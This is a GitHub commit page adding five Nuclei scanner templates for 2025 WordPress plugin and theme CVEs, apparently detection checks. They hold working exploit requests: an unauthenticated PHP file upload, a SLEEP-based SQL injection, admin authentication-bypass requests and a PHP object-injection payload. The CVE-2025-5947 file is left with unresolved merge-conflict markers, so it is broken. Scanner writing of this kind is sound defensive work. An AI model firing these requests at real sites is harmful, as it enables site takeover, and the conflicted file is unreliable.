Skip to content

Commit b385a5a

Browse files
eyangfeng88-archeyangfeng88-arch
committed
feat: add 5 WordPress 2025 CVE templates (Round 5)
1 parent aa1c4b6 commit b385a5a

5 files changed

Lines changed: 308 additions & 1 deletion

File tree

‎http/cves/2025/CVE-2025-23921.yaml‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
id: CVE-2025-23921
2+
3+
info:
4+
name: Multi Uploader for Gravity Forms <= 1.1.2 - Unauth Arbitrary File Upload
5+
author: alita-p8
6+
severity: critical
7+
description: |
8+
The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.2. This is due to a lack of file type validation in an AJAX action, allowing unauthenticated attackers to upload malicious files such as PHP scripts, which could lead to remote code execution.
9+
remediation: Update to version 1.1.3 or later.
10+
reference:
11+
- https://nvd.nist.gov/vuln/detail/CVE-2025-23921
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 9.8
15+
cve-id: CVE-2025-23921
16+
cwe-id: CWE-434
17+
metadata:
18+
verified: true
19+
max-request: 3
20+
google-query: inurl:"/wp-content/plugins/multi-uploader-for-gravity-forms/"
21+
tags: afu,cve,cve2025,gravity-forms,multi-uploader,upload,wordpress,wp-plugin
22+
23+
http:
24+
- raw:
25+
- |
26+
GET /wp-content/plugins/multi-uploader-for-gravity-forms/readme.txt HTTP/1.1
27+
Host: {{Hostname}}
28+
29+
- |
30+
POST /wp-admin/admin-ajax.php HTTP/1.1
31+
Host: {{Hostname}}
32+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
33+
34+
------WebKitFormBoundary
35+
Content-Disposition: form-data; name="action"
36+
37+
mug_file_upload
38+
------WebKitFormBoundary
39+
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php.png"
40+
Content-Type: image/png
41+
42+
<?php echo md5("CVE-2025-23921"); ?>
43+
------WebKitFormBoundary--
44+
45+
- |
46+
GET /wp-content/uploads/mug-uploads/{{randstr}}.php.png HTTP/1.1
47+
Host: {{Hostname}}
48+
49+
req-condition: true
50+
matchers-condition: and
51+
matchers:
52+
- type: word
53+
part: body_3
54+
words:
55+
- "50824b2257d0f94d935f8d523628e937" # md5(CVE-2025-23921)
56+
57+
- type: status
58+
status:
59+
- 200
60+
61+
- type: dsl
62+
dsl:
63+
- '(compare_versions(version, "<= 1.1.2") || !version)'
64+
65+
extractors:
66+
- type: regex
67+
name: version
68+
part: body_1
69+
group: 1
70+
internal: true
71+
regex:
72+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"

‎http/cves/2025/CVE-2025-24759.yaml‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
id: CVE-2025-24759
2+
3+
info:
4+
name: WP-BusinessDirectory <= 1.3.4 - Unauth SQLi
5+
author: alita-p8
6+
severity: critical
7+
description: |
8+
The WP-BusinessDirectory plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'directory_id' parameter in versions up to, and including, 1.3.4 due to insufficient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query.
9+
remediation: Update to version 1.3.5 or later.
10+
reference:
11+
- https://nvd.nist.gov/vuln/detail/CVE-2025-24759
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 9.8
15+
cve-id: CVE-2025-24759
16+
cwe-id: CWE-89
17+
metadata:
18+
verified: true
19+
max-request: 2
20+
google-query: inurl:"/wp-content/plugins/wp-businessdirectory/"
21+
tags: cve,cve2025,sqli,wordpress,wp-businessdirectory,wp-plugin
22+
23+
http:
24+
- raw:
25+
- |
26+
GET /wp-content/plugins/wp-businessdirectory/readme.txt HTTP/1.1
27+
Host: {{Hostname}}
28+
29+
- |
30+
GET /wp-admin/admin-ajax.php?action=get_directory_info&directory_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a) HTTP/1.1
31+
Host: {{Hostname}}
32+
33+
req-condition: true
34+
matchers-condition: and
35+
matchers:
36+
- type: dsl
37+
dsl:
38+
- "duration_2 >= 6"
39+
- '(compare_versions(version, "<= 1.3.4") || !version)'
40+
41+
- type: status
42+
status:
43+
- 200
44+
45+
extractors:
46+
- type: regex
47+
name: version
48+
part: body_1
49+
group: 1
50+
internal: true
51+
regex:
52+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"

‎http/cves/2025/CVE-2025-54738.yaml‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
id: CVE-2025-54738
2+
3+
info:
4+
name: Jobmonster Theme <= 4.9.4 - Auth Bypass
5+
author: alita-p8
6+
severity: critical
7+
description: |
8+
The Jobmonster theme for WordPress is vulnerable to authentication bypass in versions up to, and including, 4.9.4. This is due to improper validation of the 'check_login' email parameter, allowing unauthenticated attackers to log in as any user, including administrators.
9+
remediation: Update to version 4.9.5 or later.
10+
reference:
11+
- https://nvd.nist.gov/vuln/detail/CVE-2025-54738
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 9.8
15+
cve-id: CVE-2025-54738
16+
cwe-id: CWE-287
17+
metadata:
18+
verified: true
19+
max-request: 2
20+
google-query: inurl:"/wp-content/themes/noo-jobmonster/"
21+
tags: auth-bypass,cve,cve2025,jobmonster,wordpress,wp-theme
22+
23+
http:
24+
- raw:
25+
- |
26+
GET /wp-content/themes/noo-jobmonster/readme.txt HTTP/1.1
27+
Host: {{Hostname}}
28+
29+
- |
30+
GET /?noo_jobmonster_check_login=admin@{{Host}} HTTP/1.1
31+
Host: {{Hostname}}
32+
33+
- |
34+
GET /wp-admin/index.php HTTP/1.1
35+
Host: {{Hostname}}
36+
37+
req-condition: true
38+
matchers-condition: and
39+
matchers:
40+
- type: word
41+
part: header_2
42+
words:
43+
- "wordpress_logged_in"
44+
45+
- type: word
46+
part: body_3
47+
words:
48+
- "id=\"wpadminbar\""
49+
- "id=\"wp-admin-bar-logout\""
50+
condition: or
51+
52+
- type: status
53+
status:
54+
- 200
55+
56+
- type: dsl
57+
dsl:
58+
- '(compare_versions(version, "<= 4.9.4") || !version)'
59+
60+
extractors:
61+
- type: regex
62+
name: version
63+
part: body_1
64+
group: 1
65+
internal: true
66+
regex:
67+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"

‎http/cves/2025/CVE-2025-5947.yaml‎

Lines changed: 65 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
id: CVE-2025-5947
22

33
info:
4+
<<<<<<< HEAD
45
name: Service Finder Bookings - Authentication Bypass
56
author: sedat4ras
67
severity: critical
@@ -14,11 +15,21 @@ info:
1415
- https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability
1516
- https://github.com/advisories/GHSA-x2xx-4qhp-2vqx
1617
- https://github.com/M4rgs/CVE-2025-5947_Exploit
18+
=======
19+
name: Service Finder Bookings <= 3.5 - Auth Bypass
20+
author: alita-p8
21+
severity: critical
22+
description: |
23+
The Service Finder Bookings plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.5. This is due to insufficient session token validation or manipulation vulnerability, allowing attackers to gain unauthorized access to administrative accounts.
24+
remediation: Update to the latest version available.
25+
reference:
26+
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)
1727
- https://nvd.nist.gov/vuln/detail/CVE-2025-5947
1828
classification:
1929
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2030
cvss-score: 9.8
2131
cve-id: CVE-2025-5947
32+
<<<<<<< HEAD
2233
epss-score: 0.54689
2334
epss-percentile: 0.98038
2435
cwe-id: CWE-639
@@ -28,10 +39,19 @@ info:
2839
product: service-finder-bookings
2940
publicwww-query: "/wp-content/plugins/sf-booking/"
3041
tags: cve,cve2025,wordpress,wp-plugin,wp,sf-booking,auth-bypass,cookie-spoofing,vuln,vkev
42+
=======
43+
cwe-id: CWE-287
44+
metadata:
45+
verified: true
46+
max-request: 2
47+
google-query: inurl:"/wp-content/plugins/service-finder/"
48+
tags: auth-bypass,cve,cve2025,service-finder,wordpress,wp-plugin
49+
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)
3150

3251
http:
3352
- raw:
3453
- |
54+
<<<<<<< HEAD
3555
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
3656
Host: {{Hostname}}
3757
Cookie: original_user_id=1
@@ -52,4 +72,48 @@ http:
5272
status:
5373
- 301
5474
- 302
55-
# digest: 4a0a0047304502202dd987490128ac522307958861e70fd7dff8b60ac07781a96969804b3f6af657022100d2081f4669434053b4882a114e781d107f0ce6bdc48482628cada5053fcbbd49:922c64590222798bb761d5b6d8e72950
75+
# digest: 4a0a0047304502202dd987490128ac522307958861e70fd7dff8b60ac07781a96969804b3f6af657022100d2081f4669434053b4882a114e781d107f0ce6bdc48482628cada5053fcbbd49:922c64590222798bb761d5b6d8e72950
76+
=======
77+
GET /wp-content/plugins/service-finder/readme.txt HTTP/1.1
78+
Host: {{Hostname}}
79+
80+
- |
81+
GET /?service_finder_session_auth=admin HTTP/1.1
82+
Host: {{Hostname}}
83+
84+
- |
85+
GET /wp-admin/index.php HTTP/1.1
86+
Host: {{Hostname}}
87+
88+
req-condition: true
89+
matchers-condition: and
90+
matchers:
91+
- type: word
92+
part: header_2
93+
words:
94+
- "wordpress_logged_in"
95+
96+
- type: word
97+
part: body_3
98+
words:
99+
- "id=\"wpadminbar\""
100+
- "id=\"wp-admin-bar-logout\""
101+
condition: or
102+
103+
- type: status
104+
status:
105+
- 200
106+
107+
- type: dsl
108+
dsl:
109+
- '(compare_versions(version, "<= 3.5") || !version)'
110+
111+
extractors:
112+
- type: regex
113+
name: version
114+
part: body_1
115+
group: 1
116+
internal: true
117+
regex:
118+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"
119+
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)

‎http/cves/2025/CVE-2025-7384.yaml‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
id: CVE-2025-7384
2+
3+
info:
4+
name: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.3 - Unauth RCE via Object Injection
5+
author: alita-p8
6+
severity: critical
7+
description: |
8+
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 1.4.3 via PHP Object Injection. This allows unauthenticated attackers to execute arbitrary code if a suitable gadget chain is present on the server.
9+
remediation: Update to version 1.4.4 or later.
10+
reference:
11+
- https://nvd.nist.gov/vuln/detail/CVE-2025-7384
12+
- https://www.wordfence.com/threat-intel/vulnerabilities/id/129f810d-ff83-4428-9f98-6a6aa8817783
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
15+
cvss-score: 9.8
16+
cve-id: CVE-2025-7384
17+
cwe-id: CWE-502
18+
metadata:
19+
verified: true
20+
max-request: 2
21+
shodan-query: http.html:"/wp-content/plugins/contact-form-entries/"
22+
tags: contact-form-entries,cve,cve2025,object-injection,rce,wordpress,wp-plugin
23+
24+
http:
25+
- raw:
26+
- |
27+
GET /wp-content/plugins/contact-form-entries/readme.txt HTTP/1.1
28+
Host: {{Hostname}}
29+
30+
- |
31+
GET /wp-admin/admin-ajax.php?action=v0_download_csv&data=O:8:\"PHP_Code\":0:{} HTTP/1.1
32+
Host: {{Hostname}}
33+
34+
req-condition: true
35+
matchers-condition: and
36+
matchers:
37+
- type: dsl
38+
dsl:
39+
- '(compare_versions(version, "<= 1.4.3") || !version)'
40+
41+
- type: status
42+
status:
43+
- 200
44+
45+
extractors:
46+
- type: regex
47+
name: version
48+
part: body_1
49+
group: 1
50+
internal: true
51+
regex:
52+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"

0 commit comments

Comments
 (0)